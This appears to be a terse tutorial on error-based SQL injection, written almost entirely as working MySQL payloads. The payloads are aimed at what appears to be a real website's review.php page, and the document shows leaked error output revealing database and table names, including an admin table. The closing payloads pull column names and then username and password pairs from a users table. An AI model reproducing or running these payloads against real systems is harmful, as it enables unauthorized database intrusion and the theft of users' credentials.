Error based basic Not really in detail SQLI

Error based basic Not really in detail
1st way=====>
+AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP by CONCAT((SELECT version() FROM information_schema.tables LIMIT 0,1),FLOOR(RAND(0)*2)))
Second way====> packerss.in/review.php?id=260+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+concat_ws(0x7e,version(),0x7e)+from+information_schema.tables+limit+0,1),1,25),floor(rand(0)*2)))a)--
===>
Database===> packerss.in/review.php?id=260%20+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+concat_ws(0x7e,group_concat(schema_name),0x7e)+from+information_schema.schemata%20limit+0,1),1,25),floor(rand(0)*2)))a)--
==>Duplicate entry 'information_
schema,packer1' for key 'group_
key'
table===>
packerss.in/review.php?id=260%20+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+concat_ws(0x7e,group_concat(table_name),0x7e)+from+information_schema.tables%20where%20table_schema=database()%20limit+0,1),1,25),floor(rand(0)*2)))a)--
===> Duplicate entry 'add,admin,astro_
ques,astr1' for key 'group_key'
packerss.in/review.php?id=260+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+concat_ws(0x7e,group_concat(table_name),0x7e)+from+information_schema.tables%20where%20table_schema=database()%20limit+0,1),58,25),floor(rand(0)*2)))a)--
===> Duplicate entry
'laints,event,invite,join,1' for key
'group_key'
+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+ 3)x+group+by+concat(mid((select+concat_ws(0x7e,group_concat(column_name),0x7e)+f rom+information_schema.columns where table_name=0xHex_Table limit+0,1),1,25),floor(rand(0)*2)))a)-- x
+and+(select+1+from+(select+count(*)+from+(select+1+union+select+2+union+select+ 3)x+group+by+concat(mid((select+concat_ws(0x7e,group_concat(username,0x3a,passwo rd),0x7e)+from+users limit+0,1),1,25),floor(rand(0)*2)))a)--